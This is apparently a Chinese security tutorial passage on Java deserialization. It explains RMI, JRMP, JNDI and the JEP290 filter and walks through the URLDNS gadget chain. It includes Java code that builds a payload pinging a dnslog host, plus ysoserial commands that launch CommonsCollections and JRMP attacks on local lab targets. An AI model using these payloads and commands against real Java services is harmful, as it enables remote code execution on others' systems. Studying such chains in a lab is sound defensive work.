    • • RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。

    • • RMI服务端的远程引用层sun.rmi.server.UnicastServerRef收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch)

    • • Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。

    • • Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。

  2. 2. 再去连接Server并调用远程方法

    • • RMI客户端反序列化服务端结果,获取远程对象的引用

    • • RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端

    • • RMI客户端反序列化RMI远程方法调用结果

**危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载
对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程-->在JAVA中使用序列化和反序列化来实现

JRMP(Remote Method Protocol)

通俗点解释:它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用、

JNDI(Naming and Directory Interface)

Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统.

而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象

总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。

还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中

JJEP(JAVA Enhancement proposa)

JEP290是Java为了防御反序列化攻击而设置的一种过滤器,其在JEP项目中编号为290,因而通常被简称为JEP290

  1. 1. 黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端

  2. 2. 检测反序列化链的深度

  3. 3. 在RMI过程中提供了调用对象提供了一个验证类的机制

  4. 4. 过滤内容可被配置

JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话还是可以正常的反序列化漏洞利用
JEP290默认只为RMI注册表(RMI Register层)、RMI分布式垃圾收集器(DGC层)以及JMX提供了相应的内置过滤器
Bypass JEP290 的关键在于:通过反序列化将Registry变为JRMP客户端,向JRMPListener发起JRMP请求.(8u121-8u240)
二次反序列化思维导图:

URLDNS链

URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法.

HashMap

对于HashMap这个类来说,他重载了readObject函数,在重载的逻辑中,我们可以看到他重新计算了keyHash

跟进hash函数,我们可以看到,它调用了keyhashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控,并且可被我们利用的类,那么可以被我们利用的类就是下面的URLDNS

URLDNS

找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控

查看getHostAddress函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址

/*
 * @Author: 
 * @Date: 2022-10-03 19:11:15
 * @LastEditors: 
 * @LastEditTime: 2022-10-05 10:25:36
 * @Description: 请填写简介
 */

package serializable.urldns;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Dnstest {
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://v0qf5g.dnslog.cn");
        Class c =URL.class;
        Field fieldHashcode = c.getDeclaredField("hashCode");
        fieldHashcode.setAccessible(true);
        // 发现在生成过程中,dnslog就收到了请求,并且在反序列过程后dnslog不在收到新的请求,这显然不符合我们的期望
        // 原因是在put的过程中hashMap类就调用了hash方法,并且在hash方法中判断hashcode不为初始化的值(-1)时会直接返回,在序列化的时候已经进行了hashCode计算,那么在反序列化时就不会走到他真正的handler.hashCode方法里
        // 所以需要修改hashCode值不为-1
        fieldHashcode.set(url,1);
        hashmap.put(url, 22);
        // 反序列化之后还是需要让他发送请求,所以需要改回来
        // 通俗讲如果不修改上方的hashCode值,还未反序列化就会造成一次DNSLOG请求,所以需要禁止put请求,让反序列化时的readObject去请求
        fieldHashcode.set(url,-1);
        Serializable(hashmap);
    }

    public static void Serializable(Object obj) throws Exception {
        ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        InputStream.writeObject(obj);
        InputStream.close();
    }
}

总结

  1. 1. 首先找到Sink:发起DNS请求的URL类hashCode方法

  2. 2. 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法

  3. 3. EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它

  4. 4. 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求

ysoserial使用

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe > ser.bin
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit YOUR-IP 1099 CommonsCollections1 calc.exe
  1. 1. 下载源码包,使用idea编译,项目地址:https://github.com/frohoff/ysoserial

  2. 2. 使用idea打开源码包

  3. 3. 设置maven为国内源

    1. 1. 点击maven->点击扳手->点击maven Settings->User settings file->勾选Override

  4. 4. settings.xml内容为:

 <?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
    <mirrors>
        <!-- 阿里云仓库 -->
        <mirror>
            <id>alimaven</id>
            <mirrorOf>central</mirrorOf>
            <name>aliyun maven</name>
            <url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
        </mirror>

        <!-- 中央仓库1 -->
        <mirror>
            <id>repo1</id>
            <mirrorOf>central</mirrorOf>
            <name>Human Readable Name for this Mirror.</name>
            <url>http://repo1.maven.org/maven2/</url>
        </mirror>

        <!-- 中央仓库2 -->
        <mirror>
            <id>repo2</id>
            <mirrorOf>central</mirrorOf>
            <name>Human Readable Name for this Mirror.</name>
            <url>http://repo2.maven.org/maven2/</url>
        </mirror>
    </mirrors

</settings>

  1. 1. 点击apply->OK

  2. 2. 点击刷新按钮,等待下载依赖

  3. 3. 点击小锤子,构建项目,如果出现报错:java: 程序包sun.rmi.server不存在java: 程序包sun.rmi.transport不存在可以不用管

  4. 4. 编译项目点击M命令行输入:mvn clean package -DskipTests

  5. 5. 编译完成

环境:https://security-1258894728.cos.ap-beijing.myqcloud.com/TOP10/UnSerializable/java/JavaDeserializationTest.zip

URLDNS利用

  1. 1. 打开前面写的Dnstest.java将代码中的dnslog换为自己的,然后序列化恶意数据

  2. 2. 反序列化恶意数据,然后dnslog中会显示请求内容

RMIRegistryExploit利用

  1. 1. 打开环境中的RMIServer.java右键运行

  2. 2. 使用ysoserial攻击

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc"

JRMPClient利用

  1. 1. 打开环境中的RMIServer.java右键运行

  2. 2. 使用ysoserial攻击

JRMPListener利用

  • • 生成反序列化数据

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:6666 > jrmp.bin
  • • 启动JRMP

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc"
  • • 反序列化

package com.chaitin;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserialization {
    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        unserialize("jrmp.bin");
    }
}

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247493119&idx=1&sn=adf1db932198ae6296a7489465ebfafa&chksm=ceab0ebff9dc87a95e14f5b38c4c6c3b9c13980690c88d786d123d5c98d5af77dfccb78b2aeb#rd
如有侵权请联系:admin#unsafe.sh